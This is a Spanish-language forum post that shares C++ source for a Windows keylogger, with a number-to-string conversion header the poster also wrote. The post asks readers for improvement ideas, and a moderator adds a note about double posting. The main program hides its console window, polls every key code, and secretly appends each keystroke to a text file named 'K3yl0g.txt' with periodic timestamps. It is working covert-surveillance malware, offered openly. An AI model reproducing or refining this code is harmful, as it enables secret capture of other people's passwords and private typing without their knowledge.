Código
#define _WIN32_WINNT 0x0500 //getConsoleWindow() #include <iostream> #include <conio.h> #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <ctime> #include "Conver.h" using namespace std; bool Bloq = false; void hora(); void arch(string p); void key(); int cont = 0; int main () { /* Ocultar la consola */ //HWND hWnd = GetConsoleWindow(); /* 0 = oculta ; 1 = visible */ //ShowWindow( hWnd, 0); FreeConsole(); hora(); while(true) { key(); } return 0; } void hora () { Conver co; string H = ""; string Fecha = ""; time_t now; struct tm nowlocal; now = time(NULL); nowlocal=*localtime(&now); H = co.Num_str(nowlocal.tm_hour) + ":" + co.Num_str(nowlocal.tm_min) + ":" + co.Num_str(nowlocal.tm_sec); Fecha = co.Num_str(nowlocal.tm_mday) + "/" + co.Num_str(nowlocal.tm_mon) + "/" + co.Num_str(nowlocal.tm_year+1900); arch("\n" + H + " || " + Fecha + "\n"); } void arch(string p) { FILE*KeyL; KeyL = fopen("K3yl0g.txt","a"); fputs(p.c_str(),KeyL); fclose(KeyL); } void key() { string p; for(int c = 0;c<=255;c++) { if(GetAsyncKeyState(c) == -32767) { switch(c) { case 20: if(Bloq == true) { Bloq = false; }else { Bloq = true; } //cont++; break; case 16: p = "[Shift]"; arch(p); //cont++; break; case 17: p = "[CTRL]"; arch(p); //cont++; break; case 18: p = "[ALT]"; arch(p); //cont++; break; case 9: p = "\t"; arch(p); //cont++; break; case 8: p = "[DEL]"; arch(p); //cont++; break; case 187: case 107 : p ="+"; arch(p); //cont++; break; case 188: p = ","; arch(p); //cont++; break; case 189: case 109: p = "-"; arch(p); //cont++; break; case 190: case 110: p = "."; arch(p); //cont++; break; case 192: p = char(164); arch(p); //cont++; break; case 91: p = "[Win]"; arch(p); //cont++; break; default: if(c == 32 || c == 13) { cont++; } if(c == 32 || c == 13 || (c>= 48 && c<=105)) { if(Bloq == false) { p = tolower(char(c)); }else { p = char(c); } arch(p); } break; } if(cont == 80) { cont = 0; hora(); } c = 0; } } }
Pense en omitir algunas teclas para que lo que se guarde en el .txt se vea mas limpio, y lo de la hora queria guardar la hora y la fecha cierto tanto tiempo,alguien tiene ideas para mejorarlo.
Se me olvidaba esto es Conver.h tambien le hice yo.
Código
#include <map> #include <iostream> using namespace std; class Conver { public: string Num_str(int i); int Str_num(string i); int Char_num(char i); string Char_str(char i); char Str_char(string i); bool Isint(char n); protected: private: }; bool Conver::Isint(char n) { string N = "-0123456789"; for(int i = 0;i<N.length();i++) { if(n == N[i]) { return true; } } return false; } char Conver::Str_char(string i) { map<string, char> conver; conver["+"] = '+'; conver["-"] = '-'; conver["*"] = '*'; conver["/"] = '/'; conver["^"] = '^'; return conver[i]; } string Conver::Char_str(char i) { map<char, string> conver; conver['0'] = "0"; conver['1'] = "1"; conver['2'] = "2"; conver['3'] = "3"; conver['4'] = "4"; conver['5'] = "5"; conver['6'] = "6"; conver['7'] = "7"; conver['8'] = "8"; conver['9'] = "9"; conver['+'] = "+"; conver['-'] = "-"; conver['*'] = "*"; conver['/'] = "/"; conver['('] = "("; conver[')'] = ")"; conver['^'] = "^"; conver['x'] = "x"; conver['y'] = "Y"; return conver[i]; } int Conver::Char_num(char i) { map<char, int> conver; conver['0'] = 0; conver['1'] = 1; conver['2'] = 2; conver['3'] = 3; conver['4'] = 4; conver['5'] = 5; conver['6'] = 6; conver['7'] = 7; conver['8'] = 8; conver['9'] = 9; return conver[i]; } ///LISTO--------------------------------------- string Conver::Num_str(int i) { bool t = true; if(i < 0) { i = i*(-1); t = false; } map<int, string> conver; conver[0] = "0"; conver[1] = "1"; conver[2] = "2"; conver[3] = "3"; conver[4] = "4"; conver[5] = "5"; conver[6] = "6"; conver[7] = "7"; conver[8] = "8"; conver[9] = "9"; if (i>=0 && i <=9) { if(t) { return (conver[i]); }else { return ("-"+conver[i]); } } else { int aux; if (i>=10 && i<=99 ) { aux = 10; } else { if(i>=100 && i<=999) { aux = 100; } else { if(i>=1000 && i<=9999) { aux = 1000; } else { if (i>=10000 && i<=99999) { aux = 10000; } else { if(i>=100000 && i<=999999) { aux = 100000; } else { if(i>=1000000 && i<=9999999) { aux = 1000000; } else { if(i>=10000000 && i<=99999999) { aux = 10000000; } else { if(i>=100000000 && i<=999999999) { aux = 100000000; } else { aux = 1000000000; } } } } } } } } string receptot = ""; for (aux=aux;aux>=1;aux=aux/10) { receptot += Num_str(i/aux); i = i%aux; } if(t) { return (receptot); }else { return("-"+receptot); } } } ///LISTO_______________________________________ int Conver::Str_num(string i) { map<string, int> conver; conver["0"] = 0; conver["1"] = 1; conver["2"] = 2; conver["3"] = 3; conver["4"] = 4; conver["5"] = 5; conver["6"] = 6; conver["7"] = 7; conver["8"] = 8; conver["9"] = 9; if (i.length() <=1) { return(conver[i]); } else{ int aux=1; int acumulador = 0; for (int j = 1;j<=i.length();j++) { aux*=10; } for (int j = 0;j<=i.length()-1;j++) { aux = aux/10; acumulador +=Char_num(i[j])*aux; } if (i[0] == '-') { return -(acumulador); }else { return acumulador; } } } ///--------------------------------------------
Mod: no hacer doble post